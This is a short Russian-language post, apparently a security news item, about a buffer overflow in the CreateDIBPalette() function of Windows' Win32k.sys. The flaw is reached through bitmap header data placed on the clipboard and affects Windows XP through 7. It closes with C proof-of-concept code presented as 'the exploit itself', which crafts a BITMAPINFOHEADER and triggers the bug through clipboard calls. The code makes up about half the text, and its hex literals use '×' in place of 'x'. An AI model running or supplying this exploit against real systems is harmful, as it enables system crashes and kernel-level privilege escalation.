Использование уязвимости позволяет злоумышленнику вызвать "отказ от обслуживания" или выполнить произвольный программный код в контексте ядра ОС.
Ошибки были обнаружены в функции "CreateDIBPalette()" модуля "Win32k.sys". В результате переполнения буфера, вызванного отсутствием необходимых проверок пользовательских данных уязвимой функцией, возникает возможность локального повышения привилегий пользователя и выполнения произвольного программного кода в момент обработки параметров "BITMAPINFOHEADER" графического объекта, помещенного в буфер обмена системы.
Наличие уязвимости подтверждено в ОС Microsoft Windows 7, Windows Server 2008 SP2, Windows Server 2003 SP2, Windows Vista SP2 и Microsoft Windows XP SP3, с установленными на них последними обновлениями.
Собственно сам эксплоит:
DEVMODE dm = {0};
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);
OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();
OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);